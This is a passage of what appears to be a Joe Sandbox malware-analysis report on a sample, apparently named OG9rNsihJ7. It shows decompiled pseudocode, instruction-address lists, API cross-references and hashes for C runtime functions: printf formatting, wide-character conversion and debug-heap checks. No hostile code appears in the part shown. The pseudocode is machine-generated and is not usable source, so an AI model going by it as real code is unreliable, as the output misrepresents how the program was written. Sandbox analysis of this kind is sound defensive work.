																				L105:
																				goto L187;
																			}
																		case 0xc:
																			L141:
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 0xd:
																			L144:
																			 *((intOrPtr*)(__ebp - 0x460)) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *((short*)(__ebp - 0x14)) = __dx;
																				 *((intOrPtr*)(__ebp - 0x460)) =  *((intOrPtr*)(__ebp - 0x460)) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L150;
																		case 0xe:
																			goto L187;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0043c35b
0x0043c35b
0x0043c35b
0x0043c35b
0x0043c35b
0x0043c35b
0x0043c35b
0x0043c361
0x0043c364
0x00000000
0x0043c3e2
0x00000000
0x0043c3e2
0x00000000
0x0043c3e2
0x0043c3e2
0x0043c3ea
0x0043c40c
0x0043c412
0x0043c437
0x0043c47e
0x0043c481
0x0043c4a2
0x0043c4a7
0x0043c4ac
0x0043c4b2
0x0043c483
0x0043c487
0x0043c48c
0x0043c48f
0x0043c490
0x0043c496
0x0043c496
0x0043c439
0x0043c43c
0x0043c43f
0x0043c461
0x0043c466
0x0043c46c
0x0043c46d
0x0043c473
0x0043c441
0x0043c445
0x0043c44a
0x0043c44e
0x0043c44f
0x0043c455
0x0043c455
0x0043c479
0x0043c414
0x0043c418
0x0043c41d
0x0043c420
0x0043c426
0x0043c426
0x0043c3ec
0x0043c3f0
0x0043c3f5
0x0043c3f8
0x0043c3fe
0x0043c3fe
0x0043c4be
0x0043c500
0x0043c506
0x0043c512
0x00000000
0x0043c4c0
0x0043c4c0
0x0043c4c0
0x0043c4c7
0x00000000
0x0043c4d4
0x0043c4d4
0x0043c4e2
0x0043c4e7
0x0043c4ed
0x0043c4fb
0x0043c518
0x0043c520
0x0043c542
0x0043c542
0x0043c54c
0x0043c55d
0x0043c567
0x0043c569
0x0043c569
0x0043c54e
0x0043c54e
0x0043c54e
0x0043c57c
0x0043c57e
0x0043c57e
0x0043c58b
0x0043c58e
0x0043c58e
0x0043c594
0x0043c597
0x0043c59c
0x00000000
0x00000000
0x0043c5ac
0x0043c5af
0x0043c5b9
0x0043c5c8
0x0043c5d1
0x0043c5e7
0x0043c5ed
0x0043c5fa
0x0043c608
0x0043c608
0x0043c617
0x0043c61f
0x0043c61f
0x0043c627
0x0043c630
0x0043c639
0x0043c645
0x0043c65e
0x0043c664
0x0043c66d
0x0043c66d
0x00000000
0x0043c670
0x00000000
0x0043c670
0x00000000
0x0043c670
0x00000000
0x0043c670
0x00000000
0x0043c670
0x00000000
0x0043c670
0x00000000
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x0043c850
0x0043c854
0x0043c85c
0x0043c861
0x0043c864
0x0043c864
0x0043c86b
0x0043c86b
0x0043b9eb
0x0043b9f2
0x0043b9ff
0x0043ba04
0x00000000
0x0043ba17
0x0043ba21
0x0043ba48
0x0043ba2f
0x0043ba40
0x0043ba40
0x0043ba21
0x0043ba52
0x0043ba58
0x0043ba64
0x0043ba67
0x0043ba75
0x0043ba78
0x0043ba85
0x0043bb2a
0x0043bb30
0x0043bb3d
0x00000000
0x00000000
0x0043bb43
0x0043bb49
0x00000000
0x0043bb50
0x0043bb50
0x0043bb6a
0x0043bb6f
0x00000000
0x00000000
0x0043bb77
0x0043bb77
0x0043bb7e
0x0043bb81
0x0043bb84
0x0043bb87
0x0043bb8a
0x0043bb8d
0x0043bb90
0x0043bb97
0x0043bb9e
0x00000000
0x00000000
0x0043bbaa
0x0043bbaa
0x0043bbb1
0x0043bbbd
0x0043bbc0
0x0043bbcd
0x00000000
0x00000000
0x0043bbcf
0x0043bbd5
0x0043bbd5
0x0043bbdc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bc20
0x0043bc20
0x0043bc2a
0x0043bc57
0x0043bc61
0x0043bc61
0x0043bc65
0x0043bc2c
0x0043bc2c
0x0043bc38
0x0043bc3f
0x0043bc44
0x0043bc47
0x0043bc4a
0x0043bc4d
0x0043bc4f
0x0043bc4f
0x0043bc52
0x00000000
0x00000000
0x0043bc6d
0x0043bc6d
0x00000000
0x00000000
0x0043bc79
0x0043bc79
0x0043bc83
0x0043bca3
0x0043bca6
0x0043bcb0
0x0043bcb0
0x0043bcb4
0x0043bc85
0x0043bc85
0x0043bc91
0x0043bc98
0x0043bc9a
0x0043bc9a
0x0043bca1
0x00000000
0x00000000
0x0043bcbc
0x0043bcbc
0x0043bcc3
0x0043bccf
0x0043bcd2
0x0043bcdf
0x0043bdf2
0x00000000
0x0043bdf2
0x0043bce5
0x0043bceb
0x0043bceb
0x0043bcf2
0x00000000
0x0043bd29
0x0043bd29
0x0043bd2c
0x0043bd32
0x0043bd59
0x0043bd59
0x0043bd5c
0x0043bd62
0x0043bd86
0x0043bd86
0x0043bd89
0x0043bd8f
0x0043bdc8
0x0043bdd9
0x00000000
0x0043bdd9
0x0043bd91
0x0043bd91
0x0043bd94
0x0043bd9a
0x00000000
0x00000000
0x0043bd9c
0x0043bd9c
0x0043bd9f
0x0043bda5
0x00000000
0x00000000
0x0043bda7
0x0043bda7
0x0043bdaa
0x0043bdb0
0x00000000
0x00000000
0x0043bdb2
0x0043bdb2
0x0043bdb5
0x0043bdbb
0x00000000
0x00000000
0x0043bdbd
0x0043bdbd
0x0043bdc0
0x0043bdc6
0x0043bdca
0x00000000
0x0043bdca
0x00000000
0x0043bdc6
0x0043bd64
0x0043bd64
0x0043bd67
0x0043bd6e
0x00000000
0x0043bd70
0x0043bd73
0x0043bd76
0x0043bd7c
0x0043bd81
0x00000000
0x0043bd81
0x0043bd6e
0x0043bd34
0x0043bd34
0x0043bd37
0x0043bd3e
0x00000000
0x0043bd40
0x0043bd43
0x0043bd46
0x0043bd4c
0x0043bd51
0x00000000
0x0043bd51
0x00000000
0x0043bddb
0x0043bddb
0x0043bdde
0x0043bde1
0x00000000
0x00000000
0x0043bcf9
0x0043bcf9
0x0043bcfc
0x0043bd02
0x0043bd1e
0x0043bd21
0x0043bd04
0x0043bd04
0x0043bd07
0x0043bd0a
0x0043bd10
0x0043bd16
0x0043bd16
0x00000000
0x00000000
0x0043bde6
0x0043bde9
0x0043bdef
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bbf9
0x0043bbf9
0x0043bbfc
0x0043bbff
0x00000000
0x00000000
0x0043bc04
0x0043bc07
0x0043bc0d
0x00000000
0x00000000
0x0043bbee
0x0043bbf1
0x0043bbf4
0x00000000
0x00000000
0x0043bbe3
0x0043bbe6
0x0043bbe9
0x00000000
0x00000000
0x0043bc12
0x0043bc15
0x0043bc18
0x00000000
0x00000000
0x0043bc1b
0x00000000
0x00000000
0x0043ba8b
0x0043ba8b
0x0043ba8d
0x0043ba9b
0x0043ba8f
0x0043ba8f
0x0043ba8f
0x0043baab
0x0043bab8
0x0043baba
0x0043babf
0x0043bac1
0x0043bac6
0x0043bacb
0x0043bacd
0x0043bad2
0x0043bad8
0x0043bada
0x0043bada
0x0043bad8
0x0043badb
0x0043bae2
0x00000000
0x0043bae4
0x0043bae9
0x0043bb05
0x0043bb0d
0x0043bb1a
0x0043bb1f
0x0043c934
0x0043c941
0x0043c941
0x0043bae2
0x0043ba85
0x0043c870
0x0043c877
0x0043c88e
0x0043c882
0x0043c882
0x0043c882
0x0043c898
0x0043c89e
0x0043c8ab
0x0043c8ad
0x0043c8b2
0x0043c8b4
0x0043c8b9
0x0043c8be
0x0043c8c0
0x0043c8c5
0x0043c8cb
0x0043c8cd
0x0043c8cd
0x0043c8cb
0x0043c8d5
0x0043c920
0x0043c929
0x0043c92e
0x0043c8d7
0x0043c8dc
0x0043c8f8
0x0043c900
0x0043c90d
0x0043c912
0x0043c912
0x00000000
0x0043c8d5
0x0043c67a
0x0043c680
0x0043c68a
0x0043c6a4
0x0043c6be
0x0043c6c5
0x0043c6c9
0x0043c6c9
0x0043c6a6
0x0043c6ab
0x0043c6af
0x0043c6af
0x0043c68c
0x0043c691
0x0043c695
0x0043c695
0x0043c68a
0x0043c6d9
0x0043c6e5
0x0043c6fb
0x0043c700
0x0043c700
0x0043c716
0x0043c71b
0x0043c724
0x0043c742
0x0043c747
0x0043c747
0x0043c74e
0x0043c808
0x0043c81b
0x0043c820
0x00000000
0x0043c75e
0x0043c75e
0x0043c761
0x0043c76a
0x0043c770
0x0043c770
0x0043c77f
0x0043c787
0x00000000
0x00000000
0x0043c789
0x0043c78c
0x0043c7b1
0x0043c7b6
0x0043c7b9
0x0043c7c6
0x0043c7d4
0x0043c7e7
0x0043c7ec
0x0043c7fb
0x00000000
0x0043c7fb
0x0043c7c8
0x0043c7c8
0x00000000
0x0043c7c8
0x0043c806
0x0043c823
0x0043c82a
0x0043c848
0x0043c84d
0x0043c84d
0x00000000
0x0043c82a
0x0043bdf7
0x0043bdf7
0x0043bdfe
0x0043be04
0x0043be0a
0x0043be0d
0x0043be13
0x0043be20
0x0043be26
0x0043be26
0x0043be2d
0x00000000
0x0043c1b1
0x0043c1b1
0x0043c1bf
0x0043c1c2
0x00000000
0x00000000
0x0043be34
0x0043be37
0x0043be3d
0x0043be42
0x0043be45
0x0043be45
0x00000000
0x00000000
0x0043bf7a
0x0043bf7d
0x0043bf82
0x0043bf87
0x0043bf8a
0x0043bf8a
0x00000000
0x00000000
0x0043c37d
0x0043c37d
0x00000000
0x00000000
0x0043bee4
0x0043bee4
0x0043bef0
0x0043befd
0x0043bf0b
0x0043bf0b
0x0043bf11
0x0043bf14
0x0043bf20
0x0043bf75
0x00000000
0x0043bf75
0x0043beff
0x0043beff
0x0043bf09
0x0043bf25
0x0043bf28
0x0043bf2e
0x0043bf56
0x0043bf5d
0x0043bf63
0x0043bf66
0x0043bf69
0x0043bf6f
0x0043bf72
0x0043bf30
0x0043bf30
0x0043bf36
0x0043bf39
0x0043bf3c
0x0043bf42
0x0043bf45
0x0043bf48
0x0043bf4a
0x0043bf4d
0x0043bf4d
0x00000000
0x0043bf2e
0x00000000
0x00000000
0x0043c1c9
0x0043c1cc
0x0043c1cf
0x0043c1d2
0x0043c1d8
0x0043c1db
0x0043c1e6
0x0043c1f1
0x0043c1f5
0x0043c20c
0x0043c213
0x0043c215
0x0043c215
0x0043c21c
0x0043c223
0x0043c231
0x0043c234
0x0043c243
0x0043c24a
0x0043c25f
0x0043c24c
0x0043c24c
0x0043c24f
0x0043c255
0x0043c25a
0x0043c25a
0x0043c24a
0x0043c269
0x0043c26c
0x0043c26f
0x0043c272
0x0043c275
0x0043c278
0x0043c27e
0x0043c284
0x0043c28c
0x0043c28d
0x0043c290
0x0043c291
0x0043c294
0x0043c295
0x0043c29c
0x0043c29d
0x0043c2a0
0x0043c2a1
0x0043c2a4
0x0043c2a5
0x0043c2ab
0x0043c2ac
0x0043c2bb
0x0043c2bd
0x0043c2c3
0x0043c2c8
0x0043c2d0
0x0043c2d8
0x0043c2d9
0x0043c2dc
0x0043c2dd
0x0043c2ec
0x0043c2ee
0x0043c2ee
0x0043c2f1
0x0043c2fb
0x0043c300
0x0043c306
0x0043c308
0x0043c310
0x0043c311
0x0043c314
0x0043c315
0x0043c323
0x0043c325
0x0043c325
0x0043c306
0x0043c328
0x0043c32b
0x0043c331
0x0043c336
0x0043c33b
0x0043c341
0x0043c344
0x0043c344
0x0043c347
0x0043c353
0x00000000
0x0043c353
0x0043c1f7
0x0043c1f7
0x0043c201
0x00000000
0x00000000
0x0043c203
0x0043c203
0x00000000
0x0043c203
0x0043c1e8
0x0043c1e8
0x00000000
0x00000000
0x0043be48
0x0043be48
0x0043be53
0x0043be5b
0x0043be62
0x0043be65
0x0043be68
0x0043bec8
0x0043be6a
0x0043be71
0x0043be77
0x0043be7d
0x0043be84
0x0043be87
0x0043be8d
0x0043be95
0x0043be97
0x0043be9e
0x0043bea5
0x0043beb6
0x0043beb8
0x0043beb8
0x0043bebf
0x0043becf
0x0043bed5
0x0043bed8
0x00000000
0x00000000
0x00000000
0x00000000
0x0043c0ba
0x0043c0ba
0x0043c0c6
0x0043c0d3
0x0043c17d
0x0043c17d
0x0043c180
0x0043c183
0x0043c197
0x0043c19d
0x0043c1a3
0x0043c185
0x0043c185
0x0043c18b
0x0043c192
0x0043c192
0x0043c1a5
0x00000000
0x0043c1a5
0x0043c0d9
0x0043c0d9
0x0043c0db
0x0043c0e9
0x0043c0dd
0x0043c0dd
0x0043c0dd
0x0043c0f3
0x0043c0f9
0x0043c106
0x0043c108
0x0043c10d
0x0043c10f
0x0043c114
0x0043c119
0x0043c11b
0x0043c120
0x0043c126
0x0043c128
0x0043c128
0x0043c126
0x0043c130
0x0043c178
0x00000000
0x0043c132
0x0043c132
0x0043c137
0x0043c153
0x0043c15b
0x0043c165
0x0043c168
0x0043c16d
0x00000000
0x0043c16d
0x00000000
0x0043c3c4
0x0043c3c4
0x0043c3ce
0x0043c3d4
0x0043c3d9
0x0043c3df
0x0043c3df
0x00000000
0x00000000
0x0043c376
0x0043c376
0x00000000
0x00000000
0x0043bf8d
0x0043bf91
0x0043bf9f
0x0043bfa2
0x0043bf93
0x0043bf93
0x0043bf93
0x0043bfa8
0x0043bfae
0x0043bfb4
0x0043bfc0
0x0043bfc6
0x0043bfc9
0x0043c051
0x0043c055
0x0043c057
0x0043c05d
0x0043c05d
0x0043c060
0x0043c067
0x0043c06a
0x0043c070
0x0043c070
0x0043c070
0x0043c076
0x0043c07c
0x0043c07f
0x0043c087
0x00000000
0x00000000
0x0043c089
0x0043c089
0x0043c08f
0x0043c094
0x00000000
0x00000000
0x0043c096
0x0043c09c
0x0043c09f
0x0043c09f
0x0043c0a7
0x0043c0ad
0x0043c0b0
0x0043c0b2
0x00000000
0x0043bfcf
0x0043bfcf
0x0043bfd3
0x0043bfd5
0x0043bfda
0x0043bfda
0x0043bfdd
0x0043bfe0
0x0043bfe6
0x0043bff8
0x0043bff8
0x0043bff8
0x0043c001
0x00000000
0x00000000
0x0043c003
0x0043c003
0x0043c009
0x0043c00e
0x00000000
0x00000000
0x0043c010
0x0043c010
0x0043c019
0x0043c01f
0x0043c02d
0x0043c035
0x0043c038
0x0043c038
0x0043c044
0x0043c047
0x0043bff2
0x0043bff5
0x0043bff5
0x0043c04f
0x0043c0b5
0x00000000
0x0043c0b5
0x00000000
0x0043c36d
0x0043c36d
0x00000000
0x00000000
0x0043c389
0x0043c389
0x0043c393
0x0043c393
0x0043c39d
0x0043c3a3
0x0043c3a5
0x0043c3aa
0x0043c3b4
0x0043c3b7
0x0043c3bb
0x0043c3bb
0x00000000
0x00000000
0x00000000
0x00000000
0x0043be2d
0x0043c670
0x0043c670
0x0043c670
0x0043c670
0x0043c670
0x0043c670
0x0043c670
0x0043c4c7
0x0043c4be
0x0043c3e2
0x0043c3e2
0x0043c3e2

APIs

_get_int64_arg.LIBCMTD ref: 0043C3F0
_get_int64_arg.LIBCMTD ref: 0043C418
__aullrem.LIBCMT ref: 0043C5C0
__aulldiv.LIBCMT ref: 0043C5E2
_write_multi_char.LIBCMTD ref: 0043C6FB
_write_string.LIBCMTD ref: 0043C716
_write_multi_char.LIBCMTD ref: 0043C742
__mbtowc_l.LIBCMTD ref: 0043C7B1

Strings

("Incorrect format specifier", 0), xrefs: 0043BABA, 0043BB00
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043BAC6, 0043BAF6
_woutput_s_l, xrefs: 0043BAFB
9, xrefs: 0043C5F3

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3455034128-2408376751
Opcode ID: ae80559142bf22aaeadef66377556fc246ce8c91c4bc9ae1196790b34c90ed05
Instruction ID: f96acb89150db303defe20a46f6e5f5f7007a89a2d8477285722e4c1006f960b
Opcode Fuzzy Hash: ae80559142bf22aaeadef66377556fc246ce8c91c4bc9ae1196790b34c90ed05
Instruction Fuzzy Hash: 6DF15CB1D002299FDB24DF54CC81BAEB7B5FB89314F14519AE209BB241D738AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004371D3, Relevance: 33.3, APIs: 22, Instructions: 296
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004371D3(void* __ebx, void* __edi, void* __esi) {
				intOrPtr* _t143;
				signed int* _t145;
				int _t150;
				intOrPtr* _t167;
				intOrPtr _t189;
				void* _t206;
				intOrPtr _t223;
				intOrPtr _t230;
				void* _t272;
				void* _t273;
				signed int _t274;

				_t273 = __esi;
				_t272 = __edi;
				_t206 = __ebx;
				if( *(_t274 + 8) == 0) {
					_t143 = E0041AE20(_t274 - 0x20);
					_t208 =  *_t143;
					if( *((intOrPtr*)( *_t143 + 0x14)) != 0) {
						_t210 = _t274 - 0x20;
						_t145 = E0041AE20(_t274 - 0x20);
						_t256 =  *_t145;
						 *(_t274 - 4) = WideCharToMultiByte( *( *_t145 + 4), 0,  *(_t274 + 0xc), 0xffffffff, 0, 0, 0, _t274 - 0x10);
						if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
							 *((intOrPtr*)(L00422E40(_t210))) = 0x2a;
							 *(_t274 - 0x68) = 0xffffffff;
							E0041ADF0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x68);
						} else {
							 *(_t274 - 0x6c) =  *(_t274 - 4) - 1;
							E0041ADF0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x6c);
						}
					} else {
						_t256 =  *(_t274 + 0xc);
						 *(_t274 - 0x64) = E0042DC90(_t208,  *(_t274 + 0xc));
						E0041ADF0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x64);
					}
					L47:
					return E0042BDF0(_t150, _t206,  *(_t274 - 0x24) ^ _t274, _t256, _t272, _t273);
				}
				if( *((intOrPtr*)( *((intOrPtr*)(E0041AE20(_t274 - 0x20))) + 0x14)) != 0) {
					if( *((intOrPtr*)( *((intOrPtr*)(E0041AE20(_t274 - 0x20))) + 0xac)) != 1) {
						_t223 =  *((intOrPtr*)(E0041AE20(_t274 - 0x20)));
						_t256 =  *(_t223 + 4);
						 *(_t274 - 4) = WideCharToMultiByte( *(_t223 + 4), 0,  *(_t274 + 0xc), 0xffffffff,  *(_t274 + 8),  *(_t274 + 0x10), 0, _t274 - 0x10);
						if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
							if( *(_t274 - 0x10) != 0 || GetLastError() != 0x7a) {
								 *((intOrPtr*)(L00422E40(_t223))) = 0x2a;
								 *(_t274 - 0x4c) = 0xffffffff;
								E0041ADF0(_t274 - 0x20);
								_t150 =  *(_t274 - 0x4c);
							} else {
								while( *(_t274 - 4) <  *(_t274 + 0x10)) {
									_t167 = E0041AE20(_t274 - 0x20);
									_t230 =  *((intOrPtr*)(E0041AE20(_t274 - 0x20)));
									_t256 =  *(_t230 + 4);
									 *((intOrPtr*)(_t274 - 0xc)) = WideCharToMultiByte( *(_t230 + 4), 0,  *(_t274 + 0xc), 1, _t274 - 0x2c,  *( *_t167 + 0xac), 0, _t274 - 0x10);
									if( *((intOrPtr*)(_t274 - 0xc)) == 0 ||  *(_t274 - 0x10) != 0) {
										 *((intOrPtr*)(L00422E40(_t230))) = 0x2a;
										 *(_t274 - 0x50) = 0xffffffff;
										E0041ADF0(_t274 - 0x20);
										_t150 =  *(_t274 - 0x50);
									} else {
										if( *((intOrPtr*)(_t274 - 0xc)) < 0 ||  *((intOrPtr*)(_t274 - 0xc)) > 5) {
											 *((intOrPtr*)(L00422E40(_t230))) = 0x2a;
											 *(_t274 - 0x54) = 0xffffffff;
											E0041ADF0(_t274 - 0x20);
											_t150 =  *(_t274 - 0x54);
										} else {
											if( *(_t274 - 4) +  *((intOrPtr*)(_t274 - 0xc)) <=  *(_t274 + 0x10)) {
												 *(_t274 - 8) = 0;
												while( *(_t274 - 8) <  *((intOrPtr*)(_t274 - 0xc))) {
													( *(_t274 + 8))[ *(_t274 - 4)] =  *((intOrPtr*)(_t274 +  *(_t274 - 8) - 0x2c));
													_t256 =  &(( *(_t274 + 8))[ *(_t274 - 4)]);
													if(( *(_t274 + 8))[ *(_t274 - 4)] != 0) {
														 *(_t274 - 8) =  *(_t274 - 8) + 1;
														 *(_t274 - 4) =  *(_t274 - 4) + 1;
														continue;
													}
													 *(_t274 - 0x5c) =  *(_t274 - 4);
													E0041ADF0(_t274 - 0x20);
													_t150 =  *(_t274 - 0x5c);
													goto L47;
												}
												_t256 =  &(( *(_t274 + 0xc))[1]);
												 *(_t274 + 0xc) =  &(( *(_t274 + 0xc))[1]);
												continue;
											}
											 *(_t274 - 0x58) =  *(_t274 - 4);
											E0041ADF0(_t274 - 0x20);
											_t150 =  *(_t274 - 0x58);
										}
									}
									goto L47;
								}
								 *(_t274 - 0x60) =  *(_t274 - 4);
								E0041ADF0(_t274 - 0x20);
								_t150 =  *(_t274 - 0x60);
							}
						} else {
							 *(_t274 - 0x48) =  *(_t274 - 4) - 1;
							E0041ADF0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x48);
						}
						goto L47;
					}
					if( *(_t274 + 0x10) > 0) {
						 *(_t274 + 0x10) = E004375C0( *(_t274 + 0xc),  *(_t274 + 0x10));
					}
					_t256 =  *(_t274 + 0xc);
					_t189 =  *((intOrPtr*)(E0041AE20(_t274 - 0x20)));
					_t243 =  *(_t189 + 4);
					 *(_t274 - 4) = WideCharToMultiByte( *(_t189 + 4), 0,  *(_t274 + 0xc),  *(_t274 + 0x10),  *(_t274 + 8),  *(_t274 + 0x10), 0, _t274 - 0x10);
					if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
						 *((intOrPtr*)(L00422E40(_t243))) = 0x2a;
						 *(_t274 - 0x44) = 0xffffffff;
						E0041ADF0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x44);
					} else {
						if( *((char*)( &(( *(_t274 + 8))[ *(_t274 - 4)]) - 1)) == 0) {
							 *(_t274 - 4) =  *(_t274 - 4) - 1;
						}
						_t256 =  *(_t274 - 4);
						 *(_t274 - 0x40) =  *(_t274 - 4);
						E0041ADF0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x40);
					}
					goto L47;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t248 =  *(_t274 - 4);
					if( *(_t274 - 4) >=  *(_t274 + 0x10)) {
						break;
					}
					_t256 =  *(_t274 + 0xc);
					if(( *( *(_t274 + 0xc)) & 0x0000ffff) <= 0xff) {
						( *(_t274 + 8))[ *(_t274 - 4)] =  *( *(_t274 + 0xc));
						_t256 =  *( *(_t274 + 0xc)) & 0x0000ffff;
						 *(_t274 + 0xc) =  &(( *(_t274 + 0xc))[1]);
						if(( *( *(_t274 + 0xc)) & 0x0000ffff) != 0) {
							_t256 =  *(_t274 - 4) + 1;
							 *(_t274 - 4) =  *(_t274 - 4) + 1;
							continue;
						}
						 *(_t274 - 0x38) =  *(_t274 - 4);
						E0041ADF0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x38);
					} else {
						 *((intOrPtr*)(L00422E40(_t248))) = 0x2a;
						 *(_t274 - 0x34) = 0xffffffff;
						E0041ADF0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x34);
					}
					goto L47;
				}
				 *(_t274 - 0x3c) =  *(_t274 - 4);
				E0041ADF0(_t274 - 0x20);
				_t150 =  *(_t274 - 0x3c);
				goto L47;
			}

0x004371d3
0x004371d3
0x004371d3
0x004371d7
0x0043750e
0x00437513
0x00437519
0x0043754b
0x0043754e
0x00437553
0x0043755f
0x00437566
0x00437573
0x00437579
0x00437583
0x00437588
0x0043758d
0x00437593
0x00437599
0x0043759e
0x0043759e
0x0043751b
0x0043751b
0x00437527
0x0043752d
0x00437532
0x00437532
0x004375ab
0x004375b8
0x004375b8
0x004371eb
0x00437295
0x00437361
0x00437363
0x0043736d
0x00437374
0x00437399
0x004373ab
0x004373b1
0x004373bb
0x004373c0
0x004373c8
0x004373c8
0x004373dd
0x004373ff
0x00437401
0x0043740b
0x00437412
0x0043741f
0x00437425
0x0043742f
0x00437434
0x0043743c
0x00437440
0x0043744d
0x00437453
0x0043745d
0x00437462
0x0043746a
0x00437473
0x0043748b
0x004374a6
0x004374bb
0x004374c0
0x004374c8
0x0043749a
0x004374a3
0x00000000
0x004374a3
0x004374cd
0x004374d3
0x004374d8
0x00000000
0x004374d8
0x004374e5
0x004374e8
0x00000000
0x004374e8
0x00437478
0x0043747e
0x00437483
0x00437483
0x00437440
0x00000000
0x00437412
0x004374f3
0x004374f9
0x004374fe
0x004374fe
0x0043737c
0x00437382
0x00437388
0x0043738d
0x0043738d
0x00000000
0x00437374
0x0043729f
0x004372b1
0x004372b1
0x004372c6
0x004372d4
0x004372d6
0x004372e0
0x004372e7
0x00437321
0x00437327
0x00437331
0x00437336
0x004372ef
0x004372fb
0x00437303
0x00437303
0x00437306
0x00437309
0x0043730f
0x00437314
0x00437314
0x00000000
0x00000000
0x00000000
0x00000000
0x004371f1
0x004371f1
0x004371f1
0x004371f7
0x00000000
0x00000000
0x004371f9
0x00437204
0x00437233
0x00437238
0x00437241
0x00437246
0x00437261
0x00437264
0x00000000
0x00437264
0x0043724b
0x00437251
0x00437256
0x00437206
0x0043720b
0x00437211
0x0043721b
0x00437220
0x00437220
0x00000000
0x00437204
0x0043726c
0x00437272
0x00437277
0x00000000

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043721B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00437251
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00437272
wcsncnt.LIBCMTD ref: 004372A9
WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 004372DA
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043730F
_wcslen.LIBCMTD ref: 0043751F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043752D

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWide_wcslenwcsncnt
String ID:
API String ID: 4277434810-0
Opcode ID: fa894f40d30de484dd822f59bd4d6f66300a25379ae91f2a83322669ef4d233a
Instruction ID: fa2df92fdba061abb2f981a4ec78f9e8e1fca2882b16200504695dce01cde7dc
Opcode Fuzzy Hash: fa894f40d30de484dd822f59bd4d6f66300a25379ae91f2a83322669ef4d233a
Instruction Fuzzy Hash: DFD14DB1904208EFCB18DF94D984BEEB7B2FF48314F20915AE8516B291D738AE41DF95

Uniqueness

Uniqueness Score: -1.00%

Function 0041C605, Relevance: 30.0, APIs: 6, Strings: 11, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0041C619
__CrtIsValidHeapPointer.LIBCMTD ref: 0041C6A5
_CheckBytes.LIBCMTD ref: 0041C750
_CheckBytes.LIBCMTD ref: 0041C80A
_memset.LIBCMT ref: 0041C901
__free_base.LIBCMTD ref: 0041C90D

Strings

_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 0041C70F
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 0041C7D7
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041C799
pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ, xrefs: 0041C8CA
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C6BD, 0041C71B, 0041C8D6
_CrtIsValidHeapPointer(pUserData), xrefs: 0041C6B1
The Block at 0x%p was allocated by aligned routines, use _aligned_free(), xrefs: 0041C629
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 0041C891
Client hook free failure., xrefs: 0041C67C
tDj, xrefs: 0041C65B
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041C853

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

